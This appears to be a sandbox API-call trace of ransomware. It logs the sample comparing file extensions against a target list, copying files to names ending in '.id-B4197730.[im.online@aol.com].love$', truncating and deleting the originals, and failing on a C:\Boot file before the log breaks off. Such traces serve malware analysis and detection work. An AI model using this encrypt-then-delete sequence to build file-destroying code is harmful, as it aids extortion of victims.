[0103.530] lstrlenW (lpString=".dbf") returned 4 [0103.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.530] lstrlenW (lpString=".1cd") returned 4 [0103.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.530] lstrlenW (lpString=".jpg") returned 4 [0103.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.531] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.531] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0103.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.531] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=201796) returned 1 [0103.531] CloseHandle (hObject=0x344) returned 1 [0103.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0103.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.532] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.532] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.532] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0103.532] GetLastError () returned 0x0 [0103.532] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x31444, lpOverlapped=0x0) returned 1 [0103.549] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x31450, lpOverlapped=0x0) returned 1 [0103.554] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.554] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.554] SetEndOfFile (hFile=0x368) returned 1 [0103.554] CloseHandle (hObject=0x368) returned 1 [0104.082] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.083] SetEndOfFile (hFile=0x344) returned 1 [0104.085] CloseHandle (hObject=0x344) returned 1 [0104.085] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.086] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0104.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.086] lstrlenW (lpString=".doc") returned 4 [0104.086] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.086] lstrlenW (lpString=".docx") returned 5 [0104.086] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.086] lstrlenW (lpString=".pdf") returned 4 [0104.086] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.086] lstrlenW (lpString=".xls") returned 4 [0104.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString=".xlsx") returned 5 [0104.087] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.087] lstrlenW (lpString=".ppt") returned 4 [0104.087] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString=".zip") returned 4 [0104.087] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.087] lstrlenW (lpString=".rar") returned 4 [0104.087] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString=".bz2") returned 4 [0104.087] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString=".7z") returned 3 [0104.087] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString=".dbf") returned 4 [0104.087] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString=".1cd") returned 4 [0104.087] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString=".jpg") returned 4 [0104.087] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.087] lstrlenW (lpString=".doc") returned 4 [0104.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString=".docx") returned 5 [0104.088] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.088] lstrlenW (lpString=".pdf") returned 4 [0104.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString=".xls") returned 4 [0104.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString=".xlsx") returned 5 [0104.088] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.088] lstrlenW (lpString=".ppt") returned 4 [0104.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.088] lstrlenW (lpString=".zip") returned 4 [0104.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.088] lstrlenW (lpString=".rar") returned 4 [0104.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString=".bz2") returned 4 [0104.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString=".7z") returned 3 [0104.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.088] lstrlenW (lpString=".dbf") returned 4 [0104.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.088] lstrlenW (lpString=".1cd") returned 4 [0104.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned 46 [0104.088] lstrlenW (lpString=".jpg") returned 4 [0104.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.089] lstrcmpiW (lpString1=".xsd", lpString2=".love$") returned 1 [0104.089] lstrlenW (lpString="SetupUi.xsd") returned 11 [0104.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.089] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=30120) returned 1 [0104.089] CloseHandle (hObject=0x344) returned 1 [0104.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0104.090] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.090] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.090] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0104.101] GetLastError () returned 0x0 [0104.101] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x75a8, lpOverlapped=0x0) returned 1 [0104.137] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x75b0, lpOverlapped=0x0) returned 1 [0104.139] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.139] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xea, lpOverlapped=0x0) returned 1 [0104.139] SetEndOfFile (hFile=0x368) returned 1 [0104.181] CloseHandle (hObject=0x368) returned 1 [0104.183] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.183] SetEndOfFile (hFile=0x344) returned 1 [0104.184] CloseHandle (hObject=0x344) returned 1 [0104.185] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.185] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0104.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.185] lstrlenW (lpString=".doc") returned 4 [0104.185] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString=".docx") returned 5 [0104.186] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0104.186] lstrlenW (lpString=".pdf") returned 4 [0104.186] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString=".xls") returned 4 [0104.186] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString=".xlsx") returned 5 [0104.186] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0104.186] lstrlenW (lpString=".ppt") returned 4 [0104.186] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.186] lstrlenW (lpString=".zip") returned 4 [0104.186] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0104.186] lstrlenW (lpString=".rar") returned 4 [0104.186] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString=".bz2") returned 4 [0104.186] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString=".7z") returned 3 [0104.186] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0104.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.186] lstrlenW (lpString=".dbf") returned 4 [0104.186] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.186] lstrlenW (lpString=".1cd") returned 4 [0104.186] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0104.186] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.186] lstrlenW (lpString=".jpg") returned 4 [0104.186] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0104.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.187] lstrlenW (lpString=".doc") returned 4 [0104.187] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0104.187] lstrlenW (lpString=".docx") returned 5 [0104.187] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0104.188] lstrlenW (lpString=".pdf") returned 4 [0104.188] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString=".xls") returned 4 [0104.188] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString=".xlsx") returned 5 [0104.188] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0104.188] lstrlenW (lpString=".ppt") returned 4 [0104.188] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.188] lstrlenW (lpString=".zip") returned 4 [0104.188] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0104.188] lstrlenW (lpString=".rar") returned 4 [0104.188] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString=".bz2") returned 4 [0104.188] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString=".7z") returned 3 [0104.188] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0104.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.188] lstrlenW (lpString=".dbf") returned 4 [0104.188] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.188] lstrlenW (lpString=".1cd") returned 4 [0104.188] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0104.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0104.188] lstrlenW (lpString=".jpg") returned 4 [0104.188] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0104.189] lstrcmpiW (lpString1=".bmp", lpString2=".love$") returned -1 [0104.189] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0104.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.189] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=41080) returned 1 [0104.189] CloseHandle (hObject=0x344) returned 1 [0104.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0104.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.190] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.190] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0104.190] GetLastError () returned 0x0 [0104.190] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xa078, lpOverlapped=0x0) returned 1 [0104.220] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xa080, lpOverlapped=0x0) returned 1 [0104.223] ReadFile (in: hFile=0x344, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0104.223] WriteFile (in: hFile=0x368, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0104.223] SetEndOfFile (hFile=0x368) returned 1 [0104.223] CloseHandle (hObject=0x368) returned 1 [0104.509] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.509] SetEndOfFile (hFile=0x344) returned 1 [0104.511] CloseHandle (hObject=0x344) returned 1 [0104.511] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.511] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString=".doc") returned 4 [0104.660] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".docx") returned 5 [0104.660] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0104.660] lstrlenW (lpString=".pdf") returned 4 [0104.660] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".xls") returned 4 [0104.660] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".xlsx") returned 5 [0104.660] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0104.660] lstrlenW (lpString=".ppt") returned 4 [0104.660] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString=".zip") returned 4 [0104.660] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".rar") returned 4 [0104.660] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".bz2") returned 4 [0104.660] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString=".7z") returned 3 [0104.660] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString=".dbf") returned 4 [0104.660] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString=".1cd") returned 4 [0104.660] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.660] lstrlenW (lpString=".jpg") returned 4 [0104.660] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString=".doc") returned 4 [0104.661] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".docx") returned 5 [0104.661] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0104.661] lstrlenW (lpString=".pdf") returned 4 [0104.661] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".xls") returned 4 [0104.661] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".xlsx") returned 5 [0104.661] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0104.661] lstrlenW (lpString=".ppt") returned 4 [0104.661] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString=".zip") returned 4 [0104.661] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".rar") returned 4 [0104.661] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".bz2") returned 4 [0104.661] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString=".7z") returned 3 [0104.661] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString=".dbf") returned 4 [0104.661] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString=".1cd") returned 4 [0104.661] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0104.661] lstrlenW (lpString=".jpg") returned 4 [0104.661] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.661] lstrcmpiW (lpString1=".p7b", lpString2=".love$") returned 1 [0104.662] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0104.662] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0104.833] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=4662) returned 1 [0104.833] CloseHandle (hObject=0x368) returned 1 [0104.833] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0104.833] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.248] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.248] lstrlenW (lpString=".doc") returned 4 [0105.248] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0105.248] lstrlenW (lpString=".docx") returned 5 [0105.248] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0105.248] lstrlenW (lpString=".pdf") returned 4 [0105.248] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0105.248] lstrlenW (lpString=".xls") returned 4 [0105.248] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0105.248] lstrlenW (lpString=".xlsx") returned 5 [0105.248] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0105.248] lstrlenW (lpString=".ppt") returned 4 [0105.248] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0105.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.248] lstrlenW (lpString=".zip") returned 4 [0105.248] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0105.248] lstrlenW (lpString=".rar") returned 4 [0105.248] lstrcmpiW (lpString1=".rar", 